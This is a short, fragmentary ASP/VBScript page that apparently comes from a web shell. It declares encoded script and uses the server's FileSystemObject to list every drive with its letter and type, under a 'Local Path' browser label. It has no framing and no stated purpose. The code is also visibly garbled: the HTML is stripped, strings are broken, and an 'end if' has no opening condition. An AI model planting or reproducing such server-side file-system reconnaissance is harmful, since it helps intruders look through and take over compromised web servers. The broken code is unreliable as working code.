<%@ LANGUAGE = VBScript.Encode%> <% %> <% Set objFSO = Server.CreateObject("Scripting.FileSystemObject") Response.Write "


" for each drive_ in objFSO.Drives Response.Write "" next Response.Write "" Response.Write "
Drives
" Response.write ";" if drive_.Drivetype=1 then Response.write "Floppy [" & drive_.DriveLetter & ":]" if drive_.Drivetype=2 then Response.write "HardDisk [" & drive_.DriveLetter & ":]" if drive_.Drivetype=3 then Response.write "Remote HDD [" & drive_.DriveLetter & ":]" if drive_.Drivetype=4 then Response.write "CD-Rom [" & drive_.DriveLetter & ":]" Response.Write "
" Response.write "H Local Path" Response.Write "

" end if %>